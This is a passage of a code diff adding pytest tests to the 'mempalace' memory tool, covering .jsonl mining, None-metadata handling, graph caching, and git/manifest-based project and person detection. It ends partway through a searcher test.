+    (tmp_path / "a.md").write_text("hello world")
+    (tmp_path / "b.txt").write_text("more prose")
+    (tmp_path / "c.py").write_text("import os")  # not prose, skipped
+    text = collect_corpus_text(str(tmp_path))
+    assert "hello world" in text
+    assert "more prose" in text
+    assert "import os" not in text
+
+
+def test_collect_corpus_text_prefers_recent(tmp_path):
+    import os
+    import time
+
+    old = tmp_path / "old.md"
+    old.write_text("OLD_CONTENT")
+    time.sleep(0.01)
+    new = tmp_path / "new.md"
+    new.write_text("NEW_CONTENT")
+    # Force old to be older still
+    old_mtime = old.stat().st_mtime - 3600
+    os.utime(old, (old_mtime, old_mtime))
+
+    text = collect_corpus_text(str(tmp_path), max_files=1)
+    assert "NEW_CONTENT" in text
+    assert "OLD_CONTENT" not in text
+
+
+def test_collect_corpus_text_missing_dir_returns_empty(tmp_path):
+    assert collect_corpus_text(str(tmp_path / "nope")) == ""
+
+
+def test_collect_corpus_text_caps_bytes_per_file(tmp_path):
+    big = tmp_path / "big.md"
+    big.write_text("x" * 100_000)
+    text = collect_corpus_text(str(tmp_path), max_files=1, max_bytes_per_file=500)
+    assert len(text) <= 600  # 500 + newlines

tests/test_mcp_server.py

@@ -250,6 +250,38 @@ class TestReadTools:
         assert "project" in result["wings"]
         assert "notes" in result["wings"]
 
+    def test_status_handles_none_metadata_without_partial(
+        self, monkeypatch, config, palace_path, kg
+    ):
+        """tool_status must not crash or go partial when the metadata cache
+        returns a ``None`` entry — palaces can contain drawers with no
+        metadata (older mining paths, third-party writes). Before the guard,
+        ``m.get("wing")`` raised AttributeError mid-tally and the result
+        carried ``"error"`` + ``"partial": True`` even though the data was
+        perfectly fetchable."""
+        from unittest.mock import patch as _patch
+
+        _patch_mcp_server(monkeypatch, config, kg)
+        from mempalace.mcp_server import tool_status
+
+        # Inject a metadata cache where one entry is None
+        with _patch("mempalace.mcp_server._get_collection") as mock_get_col:
+            fake_col = type("C", (), {"count": lambda self: 2})()
+            mock_get_col.return_value = fake_col
+            with _patch(
+                "mempalace.mcp_server._get_cached_metadata",
+                return_value=[{"wing": "proj", "room": "r"}, None],
+            ):
+                result = tool_status()
+
+        # The None-metadata drawer falls under 'unknown/unknown' — no crash,
+        # no partial flag.
+        assert "error" not in result
+        assert result.get("partial") is not True
+        assert result["total_drawers"] == 2
+        assert result["wings"].get("proj") == 1
+        assert result["wings"].get("unknown") == 1
+
     def test_list_wings(self, monkeypatch, config, palace_path, seeded_collection, kg):
         _patch_mcp_server(monkeypatch, config, kg)
         from mempalace.mcp_server import tool_list_wings
@@ -708,6 +740,40 @@ class TestDiaryTools:
         assert entry1 in contents
         assert entry2 in contents
 
+    def test_diary_read_empty_wing_spans_all_wings(self, monkeypatch, config, palace_path, kg):
+        """diary_read(wing='') must return entries from every wing this agent
+        wrote to. Hooks write to project-derived wings (#659); a reader that
+        silos by default wing would never see those entries."""
+        _patch_mcp_server(monkeypatch, config, kg)
+        _client, _col = _get_collection(palace_path, create=True)
+        del _client
+        from mempalace.mcp_server import tool_diary_read, tool_diary_write
+
+        w1 = tool_diary_write(
+            agent_name="TestAgent",
+            entry="default-wing entry",
+            topic="general",
+        )
+        w2 = tool_diary_write(
+            agent_name="TestAgent",
+            entry="project-wing entry",
+            topic="general",
+            wing="wing_someproject",
+        )
+        assert w1["success"] and w2["success"]
+
+        # Empty wing → return both entries
+        r = tool_diary_read(agent_name="TestAgent", wing="")
+        assert r["total"] == 2
+        contents = {e["content"] for e in r["entries"]}
+        assert "default-wing entry" in contents
+        assert "project-wing entry" in contents
+
+        # Explicit wing → return only that wing's entries
+        r_scoped = tool_diary_read(agent_name="TestAgent", wing="wing_someproject")
+        assert r_scoped["total"] == 1
+        assert r_scoped["entries"][0]["content"] == "project-wing entry"
+
 
 # ── Cache Invalidation (inode/mtime) ──────────────────────────────────
 

tests/test_miner.py

@@ -66,6 +66,16 @@ def test_load_config_uses_defaults_when_yaml_missing():
         shutil.rmtree(tmpdir)
 
 
+def test_scan_project_skips_mempalace_generated_files():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        project_root = Path(tmpdir).resolve()
+        write_file(project_root / "entities.json", '{"people": [], "projects": []}')
+        write_file(project_root / "mempalace.yaml", "wing: test\nrooms: []\n")
+        write_file(project_root / "notes.md", "real user content\n" * 10)
+
+        assert scanned_files(project_root) == ["notes.md"]
+
+
 def test_scan_project_respects_gitignore():
     tmpdir = tempfile.mkdtemp()
     try:
@@ -343,6 +353,36 @@ def test_status_missing_palace_does_not_create_empty_collection(tmp_path, capsys
     assert not palace_path.exists()
 
 
+def test_status_handles_none_metadata_without_crash(tmp_path, capsys):
+    """status must not crash when col.get returns a None entry in metadatas.
+
+    Palaces can contain drawers whose metadata was never set (older mining
+    paths, drawers written by third-party tools). Before the guard, status
+    crashed mid-tally with ``AttributeError: 'NoneType' object has no
+    attribute 'get'`` at the wing/room histogram line."""
+    from unittest.mock import patch
+
+    class FakeCol:
+        def count(self):
+            return 2
+
+        def get(self, *args, **kwargs):
+            return {
+                "ids": ["a", "b"],
+                "documents": ["doc a", "doc b"],
+                "metadatas": [{"wing": "proj", "room": "r"}, None],
+            }
+
+    with patch("mempalace.miner.get_collection", return_value=FakeCol()):
+        status(str(tmp_path))
+
+    out = capsys.readouterr().out
+    # No crash; the None-metadata row is counted under the ?/? fallback
+    # alongside the real wing=proj row.
+    assert "WING: ?" in out
+    assert "WING: proj" in out
+
+
 # ── normalize_version schema gate ───────────────────────────────────────
 #
 # When the normalization pipeline changes shape (e.g., strip_noise lands),

tests/test_miner_jsonl_visibility.py

@@ -0,0 +1,126 @@
+"""TDD: miner.py must not silently drop .jsonl files.
+
+The project miner (mempalace.miner.scan_project) walks a directory and
+keeps only files whose suffix is in READABLE_EXTENSIONS. The whitelist
+contains `.json` but NOT `.jsonl`. Every ChatGPT export, Claude Code
+transcript, or any other jsonl transcript dumped into a project
+directory is silently dropped with no user-visible output.
+
+Two paths to fix this, both tested here:
+
+  1. READABLE_EXTENSIONS must include `.jsonl` so the file is at least
+     readable as text (jsonl is line-delimited JSON — each line is
+     already valid text for embedding).
+  2. OR scan_project must surface skipped .jsonl files to the user so
+     they know to use `--mode convos`.
+
+We test (1) — include .jsonl in READABLE_EXTENSIONS. This matches how
+`.json` is already handled: the miner doesn't care what the structure
+is, it chunks the text.
+
+Written BEFORE the fix.
+"""
+
+import tempfile
+from pathlib import Path
+from unittest.mock import patch
+
+from mempalace.miner import MAX_FILE_SIZE, READABLE_EXTENSIONS, scan_project
+
+
+class TestJsonlNotSilentlySkipped:
+    def test_jsonl_in_readable_extensions(self):
+        """`.jsonl` must be in the readable-extensions whitelist.
+
+        `.json` is already there (see mempalace/miner.py:30). `.jsonl`
+        is conceptually the same thing — line-delimited JSON — and all
+        of Claude Code's transcripts, ChatGPT exports, and similar
+        tooling writes `.jsonl`. Excluding it silently drops user data.
+        """
+        assert ".jsonl" in READABLE_EXTENSIONS, (
+            "mempalace/miner.py:READABLE_EXTENSIONS contains `.json` "
+            "but NOT `.jsonl`. Every jsonl file in a mined project is "
+            "silently skipped at miner.py:722 "
+            "(`if filepath.suffix.lower() not in READABLE_EXTENSIONS: "
+            "continue`). This causes the 'convos not being saved' bug "
+            "reported by users — the hook fires `mempalace mine`, the "
+            "miner walks the directory, skips every .jsonl file, exits "
+            "cleanly. No warning, no log line, user sees nothing wrong. "
+            "Add `.jsonl` to READABLE_EXTENSIONS."
+        )
+
+    def test_scan_project_picks_up_jsonl_file(self):
+        """scan_project should find .jsonl files in the target dir."""
+        with tempfile.TemporaryDirectory() as tmp:
+            tmpdir = Path(tmp)
+            jsonl_path = tmpdir / "transcript.jsonl"
+            jsonl_path.write_text(
+                '{"role": "user", "content": "hello"}\n'
+                '{"role": "assistant", "content": "hi there"}\n'
+                '{"role": "user", "content": "how do I install this"}\n'
+                '{"role": "assistant", "content": "pip install mempalace"}\n'
+            )
+
+            found = scan_project(str(tmpdir))
+            found_names = [p.name for p in found]
+            assert "transcript.jsonl" in found_names, (
+                "scan_project silently dropped transcript.jsonl. "
+                f"Returned: {found_names}. Users placing transcript "
+                "exports in a project directory expect them to be mined."
+            )
+
+    def test_large_jsonl_not_silently_dropped_by_size_cap(self):
+        """Long sessions produce >10 MB transcripts. They must still mine.
+
+        The legacy cap was 10 MB, which is smaller than a long Claude Code
+        session's transcript. Users hitting the cap lost their entire
+        conversation to a silent `if size > MAX: continue` at miner.py:732.
+        Raise the cap well above any realistic transcript size.
+        """
+        # 10 MB cap was silent failure — real Claude Code long sessions
+        # exceed this. The cap must accommodate them.
+        assert MAX_FILE_SIZE >= 100 * 1024 * 1024, (
+            f"MAX_FILE_SIZE is {MAX_FILE_SIZE} bytes "
+            f"({MAX_FILE_SIZE / 1024 / 1024:.0f} MB). Long Claude Code "
+            "sessions produce transcripts larger than 10 MB and get "
+            "silently dropped. Raise to at least 100 MB — chunking "
+            "at 800 chars per drawer means source file size doesn't "
+            "matter for downstream storage."
+        )
+
+    def test_scan_project_picks_up_50mb_jsonl(self):
+        """A 50 MB .jsonl must not be filtered out by the size cap.
+
+        We don't actually write 50 MB (slow test). Instead, we mock
+        stat().st_size to report a 50 MB file and confirm scan_project
+        still includes it.
+        """
+        with tempfile.TemporaryDirectory() as tmp:
+            tmpdir = Path(tmp)
+            big_jsonl = tmpdir / "big_transcript.jsonl"
+            # Write a small real file so the existence / extension / text
+            # checks pass; then mock its reported size.
+            big_jsonl.write_text('{"role": "user", "content": "hi"}\n')
+            fake_size = 50 * 1024 * 1024  # 50 MB
+
+            real_stat = Path.stat
+
+            def fake_stat(self, *args, **kwargs):
+                result = real_stat(self, *args, **kwargs)
+                if self.name == "big_transcript.jsonl":
+
+                    class _FakeStat:
+                        st_size = fake_size
+                        st_mode = result.st_mode
+
+                    return _FakeStat()
+                return result
+
+            with patch.object(Path, "stat", fake_stat):
+                found = scan_project(str(tmpdir))
+
+            found_names = [p.name for p in found]
+            assert "big_transcript.jsonl" in found_names, (
+                f"50 MB .jsonl was dropped by size cap (MAX_FILE_SIZE="
+                f"{MAX_FILE_SIZE}). Returned: {found_names}."
+            )

tests/test_palace_graph.py

@@ -30,6 +30,7 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
         build_graph,
         find_tunnels,
         graph_stats,
+        invalidate_graph_cache,
         traverse,
     )
 
@@ -38,6 +39,9 @@ with patch.dict("sys.modules", {"chromadb": MagicMock()}):
 
 
 class TestBuildGraph:
+    def setup_method(self):
+        invalidate_graph_cache()
+
     def test_empty_collection(self):
         col = _make_fake_collection([])
         nodes, edges = build_graph(col=col)
@@ -114,11 +118,43 @@ class TestBuildGraph:
         nodes, _ = build_graph(col=col)
         assert len(nodes["busy"]["dates"]) <= 5
 
+    def test_cache_returns_same_result(self):
+        """Second call within TTL returns cached nodes without re-scanning.
+
+        The cache intentionally ignores col/config args when warm — this is
+        correct for the MCP server's single-palace use case. Callers that
+        switch collections must call invalidate_graph_cache() first.
+        """
+        col = _make_fake_collection(
+            [{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
+        )
+        nodes1, edges1 = build_graph(col=col)
+        # Second call with a *different* collection — should still return cached result
+        col2 = _make_fake_collection([])
+        nodes2, edges2 = build_graph(col=col2)
+        assert nodes1 == nodes2
+        assert edges1 == edges2
+
+    def test_invalidate_clears_cache(self):
+        """invalidate_graph_cache() forces a fresh scan on next call."""
+        col = _make_fake_collection(
+            [{"room": "auth", "wing": "wing_code", "hall": "security", "date": "2026-01-01"}]
+        )
+        build_graph(col=col)
+        invalidate_graph_cache()
+        col_empty = _make_fake_collection([])
+        nodes, edges = build_graph(col=col_empty)
+        assert nodes == {}
+        assert edges == []
+
 
 # --- traverse ---
 
 
 class TestTraverse:
+    def setup_method(self):
+        invalidate_graph_cache()
+
     def _build_col(self):
         return _make_fake_collection(
             [
@@ -156,6 +192,9 @@ class TestTraverse:
 
 
 class TestFindTunnels:
+    def setup_method(self):
+        invalidate_graph_cache()
+
     def _build_tunnel_col(self):
         return _make_fake_collection(
             [
@@ -192,6 +231,9 @@ class TestFindTunnels:
 
 
 class TestGraphStats:
+    def setup_method(self):
+        invalidate_graph_cache()
+
     def test_empty_graph(self):
         col = _make_fake_collection([])
         stats = graph_stats(col=col)

tests/test_project_scanner.py

@@ -0,0 +1,573 @@
+"""Tests for mempalace.project_scanner."""
+
+import json
+import os
+import shutil
+import subprocess
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+from mempalace.project_scanner import (
+    PersonInfo,
+    ProjectInfo,
+    _dedupe_people,
+    _is_bot,
+    _looks_like_real_name,
+    _collect_manifest_names,
+    _merge_detected,
+    _parse_cargo,
+    _parse_gomod,
+    _parse_package_json,
+    _parse_pyproject,
+    _UnionFind,
+    discover_entities,
+    find_git_repos,
+    scan,
+    to_detected_dict,
+)
+
+# Keep only a small portability-focused allowlist for git subprocesses in tests.
+GIT_ENV_ALLOWLIST = ("HOME", "SystemRoot", "ComSpec", "TMPDIR", "TEMP", "TMP")
+GIT_EXECUTABLE = shutil.which("git")
+
+
+def _gitdir_marker(path: Path) -> str:
+    return f"gitdir: {path}\n"
+
+
+# ── manifest parsers ────────────────────────────────────────────────────
+
+
+def test_parse_package_json(tmp_path):
+    f = tmp_path / "package.json"
+    f.write_text(json.dumps({"name": "my-package", "version": "1.0.0"}))
+    assert _parse_package_json(f) == "my-package"
+
+
+def test_parse_package_json_missing_name(tmp_path):
+    f = tmp_path / "package.json"
+    f.write_text(json.dumps({"version": "1.0.0"}))
+    assert _parse_package_json(f) is None
+
+
+def test_parse_package_json_malformed(tmp_path):
+    f = tmp_path / "package.json"
+    f.write_text("{ not valid json")
+    assert _parse_package_json(f) is None
+
+
+def test_parse_pyproject_pep621(tmp_path):
+    f = tmp_path / "pyproject.toml"
+    f.write_text('[project]\nname = "my-py-package"\n')
+    assert _parse_pyproject(f) == "my-py-package"
+
+
+def test_parse_pyproject_poetry(tmp_path):
+    f = tmp_path / "pyproject.toml"
+    f.write_text('[tool.poetry]\nname = "poetry-pkg"\n')
+    assert _parse_pyproject(f) == "poetry-pkg"
+
+
+def test_parse_cargo(tmp_path):
+    f = tmp_path / "Cargo.toml"
+    f.write_text('[package]\nname = "rust-crate"\nversion = "0.1.0"\n')
+    assert _parse_cargo(f) == "rust-crate"
+
+
+def test_parse_gomod(tmp_path):
+    f = tmp_path / "go.mod"
+    f.write_text("module github.com/user/my-go-mod\n\ngo 1.21\n")
+    assert _parse_gomod(f) == "my-go-mod"
+
+
+# ── bot filtering ───────────────────────────────────────────────────────
+
+
+def test_is_bot_catches_github_actions():
+    assert _is_bot("github-actions[bot]", "41898282+github-actions[bot]@users.noreply.github.com")
+
+
+def test_is_bot_catches_dependabot():
+    assert _is_bot("dependabot[bot]", "dependabot@github.com")
+
+
+def test_is_bot_catches_pr_bot():
+    assert _is_bot("Comfy Org PR Bot", "prbot@example.com")
+
+
+def test_is_bot_does_not_flag_github_privacy_email():
+    # Real humans use ...@users.noreply.github.com when privacy is enabled.
+    # Must NOT be filtered.
+    assert not _is_bot("Igor Lins e Silva", "123456+igorls@users.noreply.github.com")
+
+
+def test_is_bot_does_not_flag_robot_person_name():
+    # "Robot" as a surname should not trigger the \bbot$ pattern
+    # since \b requires a boundary before 'bot'.
+    assert not _is_bot("Sarah Robot", "sarah@example.com")
+
+
+def test_looks_like_real_name_accepts_human():
+    assert _looks_like_real_name("Igor Lins e Silva")
+    assert _looks_like_real_name("Jane Doe")
+
+
+def test_looks_like_real_name_rejects_handles():
+    assert not _looks_like_real_name("666ghj")
+    assert not _looks_like_real_name("comfyanonymous")
+    assert not _looks_like_real_name("bensig")
+    assert not _looks_like_real_name("")
+    assert not _looks_like_real_name("no_spaces_handle")
+
+
+# ── union-find dedup ────────────────────────────────────────────────────
+
+
+def test_unionfind_merges_shared_email():
+    commits = [
+        ("Milla J", "shared@example.com", "repo1"),
+        ("MSL", "shared@example.com", "repo1"),
+        ("Milla J", "other@example.com", "repo1"),
+    ]
+    people = _dedupe_people(commits)
+    # All three commits collapse into one "Milla J" person (MSL is filtered
+    # as display name because it lacks a space but its commits still count).
+    assert "Milla J" in people
+    assert people["Milla J"].total_commits == 3
+    assert "MSL" not in people
+
+
+def test_unionfind_keeps_distinct_people_separate():
+    commits = [
+        ("Alice Example", "alice@example.com", "r"),
+        ("Bob Sample", "bob@sample.org", "r"),
+    ]
+    people = _dedupe_people(commits)
+    assert "Alice Example" in people
+    assert "Bob Sample" in people
+
+
+def test_unionfind_merges_shared_name():
+    """Same display name, two different emails, same person."""
+    commits = [
+        ("Jane Doe", "jane@work.com", "r"),
+        ("Jane Doe", "jane@personal.com", "r"),
+    ]
+    people = _dedupe_people(commits)
+    assert people["Jane Doe"].total_commits == 2
+    assert len(people["Jane Doe"].emails) == 2
+
+
+# ── project_info / person_info ─────────────────────────────────────────
+
+
+def test_project_info_confidence_is_mine():
+    p = ProjectInfo(name="x", repo_root=Path("."), is_mine=True)
+    assert p.confidence == 0.99
+
+
+def test_project_info_confidence_no_git():
+    p = ProjectInfo(name="x", repo_root=Path("."), has_git=False, manifest="package.json")
+    assert p.confidence > 0.8
+
+
+def test_person_info_signal_pluralization():
+    p = PersonInfo(name="x", total_commits=1, repos={"a"})
+    assert "1 commit across 1 repo" == p.to_signal()
+    p2 = PersonInfo(name="y", total_commits=5, repos={"a", "b"})
+    assert "5 commits across 2 repos" == p2.to_signal()
+
+
+# ── find_git_repos ──────────────────────────────────────────────────────
+
+
+def test_find_git_repos_detects_root_repo(tmp_path):
+    (tmp_path / ".git").mkdir()
+    repos = find_git_repos(tmp_path)
+    assert tmp_path in repos
+
+
+def test_find_git_repos_detects_nested(tmp_path):
+    sub = tmp_path / "subproject"
+    sub.mkdir()
+    (sub / ".git").mkdir()
+    repos = find_git_repos(tmp_path)
+    assert sub in repos
+
+
+def test_find_git_repos_skips_nested_inside_repo(tmp_path):
+    """If root is a repo, nested repos are still discovered as separate roots."""
+    (tmp_path / ".git").mkdir()
+    deep = tmp_path / "a" / "b" / "nested-repo"
+    deep.mkdir(parents=True)
+    (deep / ".git").mkdir()
+    repos = find_git_repos(tmp_path)
+    assert tmp_path in repos
+    assert deep in repos
+
+
+def test_find_git_repos_detects_git_file_markers(tmp_path):
+    (tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
+    sub = tmp_path / "subproject"
+    sub.mkdir()
+    (sub / ".git").write_text(_gitdir_marker(tmp_path.parent / "sub.git"))
+    repos = find_git_repos(tmp_path)
+    assert tmp_path in repos
+    assert sub in repos
+
+
+def test_find_git_repos_empty_dir(tmp_path):
+    assert find_git_repos(tmp_path) == []
+
+
+# ── scan ────────────────────────────────────────────────────────────────
+
+
+def _require_git() -> None:
+    if GIT_EXECUTABLE is None:
+        pytest.skip("git executable not available")
+
+
+def _git_test_env(name: str, email: str) -> dict[str, str]:
+    env = {
+        "GIT_AUTHOR_NAME": name,
+        "GIT_AUTHOR_EMAIL": email,
+        "GIT_COMMITTER_NAME": name,
+        "GIT_COMMITTER_EMAIL": email,
+    }
+    for key in GIT_ENV_ALLOWLIST:
+        value = os.environ.get(key)
+        if value:
+            env[key] = value
+    return env
+
+
+def _git(*args: str) -> list[str]:
+    _require_git()
+    assert GIT_EXECUTABLE is not None
+    return [GIT_EXECUTABLE, *args]
+
+
+def _git_commit(
+    path: Path, filename: str, content: str, message: str, name: str, email: str
+) -> None:
+    _require_git()
+    env = _git_test_env(name, email)
+    (path / filename).write_text(content)
+    subprocess.run(_git("add", filename), cwd=path, check=True, env=env)
+    subprocess.run(_git("commit", "-q", "-m", message), cwd=path, check=True, env=env)
+
+
+def _init_git_repo(path: Path, name: str = "Jane Doe", email: str = "jane@example.com"):
+    """Helper: init a git repo with one commit."""
+    _require_git()
+    subprocess.run(_git("init", "-q"), cwd=path, check=True)
+    subprocess.run(_git("config", "user.name", name), cwd=path, check=True)
+    subprocess.run(_git("config", "user.email", email), cwd=path, check=True)
+    subprocess.run(_git("config", "commit.gpgsign", "false"), cwd=path, check=True)
+    _git_commit(path, "README.md", "hello", "initial", name, email)
+
+
+def test_scan_project_from_package_json(tmp_path):
+    (tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
+    _init_git_repo(tmp_path)
+    projects, people = scan(tmp_path)
+    assert len(projects) == 1
+    assert projects[0].name == "my-app"
+    assert projects[0].is_mine is True
+
+
+def test_scan_project_from_pyproject(tmp_path):
+    (tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproj"\n')
+    _init_git_repo(tmp_path)
+    projects, _ = scan(tmp_path)
+    assert any(p.name == "pyproj" for p in projects)
+
+
+def test_scan_prefers_root_manifest_with_explicit_priority(tmp_path):
+    (tmp_path / "package.json").write_text(json.dumps({"name": "package-name"}))
+    (tmp_path / "pyproject.toml").write_text('[project]\nname = "pyproject-name"\n')
+    nested = tmp_path / "nested"
+    nested.mkdir()
+    (nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
+    _init_git_repo(tmp_path)
+    projects, _ = scan(tmp_path)
+    assert projects[0].name == "pyproject-name"
+
+
+def test_scan_fallback_to_dir_name_when_no_manifest(tmp_path):
+    repo = tmp_path / "my-repo-name"
+    repo.mkdir()
+    _init_git_repo(repo)
+    projects, _ = scan(tmp_path)
+    assert any(p.name == "my-repo-name" for p in projects)
+
+
+def test_scan_manifest_only_no_git(tmp_path):
+    """A dir with a manifest but no git still produces a project."""
+    (tmp_path / "package.json").write_text(json.dumps({"name": "manifest-only"}))
+    projects, people = scan(tmp_path)
+    assert len(projects) == 1
+    assert projects[0].name == "manifest-only"
+    assert projects[0].has_git is False
+    assert people == []
+
+
+def test_collect_manifest_names_stops_at_git_file_boundary(tmp_path):
+    (tmp_path / ".git").write_text(_gitdir_marker(tmp_path.parent / "root.git"))
+    (tmp_path / "package.json").write_text(json.dumps({"name": "root-name"}))
+    nested = tmp_path / "nested"
+    nested.mkdir()
+    (nested / ".git").write_text(_gitdir_marker(tmp_path.parent / "nested.git"))
+    (nested / "package.json").write_text(json.dumps({"name": "nested-name"}))
+    manifests = _collect_manifest_names(tmp_path)
+    assert [name for _file, name, _dir in manifests] == ["root-name"]
+
+
+def test_scan_excludes_bot_commits_from_totals(tmp_path):
+    (tmp_path / "package.json").write_text(json.dumps({"name": "my-app"}))
+    _init_git_repo(tmp_path, name="Jane Doe", email="jane@example.com")
+    _git_commit(
+        tmp_path,
+        "bot.txt",
+        "generated",
+        "bot update",
+        "github-actions[bot]",
+        "41898282+github-actions[bot]@users.noreply.github.com",
+    )
+    projects, people = scan(tmp_path)
+    assert projects[0].total_commits == 1
+    assert projects[0].user_commits == 1
+    assert [person.name for person in people] == ["Jane Doe"]
+
+
+def test_scan_empty_dir(tmp_path):
+    projects, people = scan(tmp_path)
+    assert projects == []
+    assert people == []
+
+
+def test_scan_returns_empty_for_nonexistent(tmp_path):
+    missing = tmp_path / "does-not-exist"
+    projects, people = scan(missing)
+    assert projects == []
+    assert people == []
+
+
+# ── to_detected_dict ────────────────────────────────────────────────────
+
+
+def test_to_detected_dict_shape():
+    projects = [ProjectInfo(name="p", repo_root=Path("."), is_mine=True, manifest="package.json")]
+    people = [PersonInfo(name="Jane Doe", total_commits=5, repos={"r"})]
+    d = to_detected_dict(projects, people)
+    assert set(d.keys()) == {"people", "projects", "uncertain"}
+    assert d["projects"][0]["name"] == "p"
+    assert d["projects"][0]["type"] == "project"
+    assert d["people"][0]["name"] == "Jane Doe"
+    assert d["people"][0]["type"] == "person"
+    assert d["uncertain"] == []
+
+
+# ── merge ───────────────────────────────────────────────────────────────
+
+
+def test_merge_primary_wins_case_insensitive():
+    primary = {
+        "people": [],
+        "projects": [
+            {
+                "name": "mempalace",
+                "type": "project",
+                "confidence": 0.99,
+                "frequency": 10,
+                "signals": ["pyproject.toml"],
+            }
+        ],
+        "uncertain": [],
+    }
+    secondary = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "MemPalace",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 6,
+                "signals": ["regex"],
+            }
+        ],
+    }
+    merged = _merge_detected(primary, secondary)
+    # `MemPalace` (uncertain) is deduped against `mempalace` (project) case-insensitively
+    assert len(merged["projects"]) == 1
+    assert len(merged["uncertain"]) == 0
+
+
+def test_merge_drops_secondary_uncertain_when_requested():
+    primary = {"people": [], "projects": [], "uncertain": []}
+    secondary = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {"name": "Foo", "type": "uncertain", "confidence": 0.4, "frequency": 3, "signals": []}
+        ],
+    }
+    merged = _merge_detected(primary, secondary, drop_secondary_uncertain=True)
+    assert merged["uncertain"] == []
+
+
+def test_merge_keeps_distinct_names():
+    primary = {
+        "people": [
+            {
+                "name": "Alice Smith",
+                "type": "person",
+                "confidence": 0.9,
+                "frequency": 10,
+                "signals": [],
+            }
+        ],
+        "projects": [],
+        "uncertain": [],
+    }
+    secondary = {
+        "people": [
+            {
+                "name": "Bob Jones",
+                "type": "person",
+                "confidence": 0.7,
+                "frequency": 3,
+                "signals": [],
+            }
+        ],
+        "projects": [],
+        "uncertain": [],
+    }
+    merged = _merge_detected(primary, secondary)
+    assert len(merged["people"]) == 2
+
+
+# ── discover_entities ──────────────────────────────────────────────────
+
+
+def test_discover_entities_falls_back_to_prose_when_no_git(tmp_path):
+    """If no manifests or git, regex detector on prose is the only source."""
+    notes = tmp_path / "notes.md"
+    notes.write_text(
+        "Riley said hello. Riley asked about it. Riley laughed. "
+        "Hey Riley, thanks for the help. Riley pushed the change. "
+        "Riley decided to go."
+    )
+    d = discover_entities(str(tmp_path))
+    # Prose-only fallback kicks in — Riley appears with person signals
+    all_names = [e["name"] for cat in d.values() for e in cat]
+    assert "Riley" in all_names
+
+
+def test_discover_entities_prefers_real_signal_over_prose(tmp_path):
+    """When manifest exists, its name wins even if prose has noisy candidates."""
+    (tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
+    _init_git_repo(tmp_path)
+    (tmp_path / "doc.md").write_text(
+        "Something. Another. Whatever. Context. Context. Context. Context. "
+        "realproj. realproj. realproj. realproj."
+    )
+    d = discover_entities(str(tmp_path))
+    proj_names = [e["name"] for e in d["projects"]]
+    assert "realproj" in proj_names
+
+
+def test_discover_entities_keeps_uncertain_for_llm_when_real_signal(tmp_path):
+    """With --llm, regex-uncertain prose candidates should reach refinement."""
+    (tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
+    _init_git_repo(tmp_path)
+    (tmp_path / "doc.md").write_text("Noise appeared. Noise repeated. Noise again.")
+
+    class FakeProvider:
+        def __init__(self):
+            self.prompts = []
+
+        def classify(self, _system, user, json_mode=True):
+            self.prompts.append(user)
+            return SimpleNamespace(
+                text='{"classifications": [{"name": "Noise", "label": "COMMON_WORD"}]}'
+            )
+
+    provider = FakeProvider()
+    d = discover_entities(str(tmp_path), llm_provider=provider, show_progress=False)
+
+    assert len(provider.prompts) == 1
+    assert "Noise" in provider.prompts[0]
+    assert "Noise" not in [e["name"] for cat in d.values() for e in cat]
+
+
+def test_discover_entities_keeps_llm_only_project_uncertain_when_real_signal(tmp_path):
+    """Repo roots should not auto-promote LLM-only tools/topics into projects."""
+    (tmp_path / "package.json").write_text(json.dumps({"name": "realproj"}))
+    _init_git_repo(tmp_path)
+    (tmp_path / "doc.md").write_text("Terraform shipped. Terraform changed. Terraform runs.")
+
+    class FakeProvider:
+        def classify(self, _system, _user, json_mode=True):
+            return SimpleNamespace(
+                text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
+            )
+
+    d = discover_entities(str(tmp_path), llm_provider=FakeProvider(), show_progress=False)
+
+    assert "realproj" in [e["name"] for e in d["projects"]]
+    assert "Terraform" not in [e["name"] for e in d["projects"]]
+    assert "Terraform" in [e["name"] for e in d["uncertain"]]
+
+
+def test_discover_entities_collapses_case_variants_between_manifest_and_convo(tmp_path):
+    """A project named `myproj` in a manifest and `MyProj` as a Claude Code
+    cwd must collapse into one entry. Matches the case-insensitive dedup
+    used by `_merge_detected` and `miner.add_to_known_entities`."""
+    root = tmp_path / "projects_root"
+    root.mkdir()
+
+    # Entry 1: a git+manifest project named lowercase `myproj`
+    repo = root / "-home-u-src-myproj"
+    repo.mkdir()
+    (repo / "package.json").write_text(json.dumps({"name": "myproj"}))
+    _init_git_repo(repo)
+
+    # Entry 2: same root ALSO looks like a Claude Code `.claude/projects/` dir;
+    # the convo_scanner inside will resolve `cwd` to `/home/u/src/MyProj`
+    # (CamelCase variant of the same project).
+    session = repo / "abc.jsonl"
+    session.write_text(json.dumps({"type": "user", "cwd": "/home/u/src/MyProj"}) + "\n")
+
+    d = discover_entities(str(root))
+
+    project_names = [e["name"] for e in d["projects"]]
+    # One entry, not two. First-seen casing ("myproj" from the manifest scan)
+    # is the winner since it was seeded first.
+    assert len(project_names) == 1
+    assert project_names[0].lower() == "myproj"
+
+
+# ── _UnionFind basics ──────────────────────────────────────────────────
+
+
+def test_unionfind_find_creates_singleton():
+    uf = _UnionFind()
+    assert uf.find("x") == "x"
+
+
+def test_unionfind_union_merges():
+    uf = _UnionFind()
+    uf.union("a", "b")
+    assert uf.find("a") == uf.find("b")
+
+
+def test_unionfind_transitive():
+    uf = _UnionFind()
+    uf.union("a", "b")
+    uf.union("b", "c")
+    assert uf.find("a") == uf.find("c")

tests/test_searcher.py

@@ -89,6 +89,37 @@ class TestSearchMemories:
         assert result["filters"]["wing"] == "project"
         assert result["filters"]["room"] == "backend"
 
+    def test_search_memories_handles_none_metadata(self):
+        """API path: `None` entries in the drawer results' metadatas list must
+        fall back to the sentinel strings (wing/room 'unknown', source '?')
+        rather than raising `AttributeError: 'NoneType' object has no
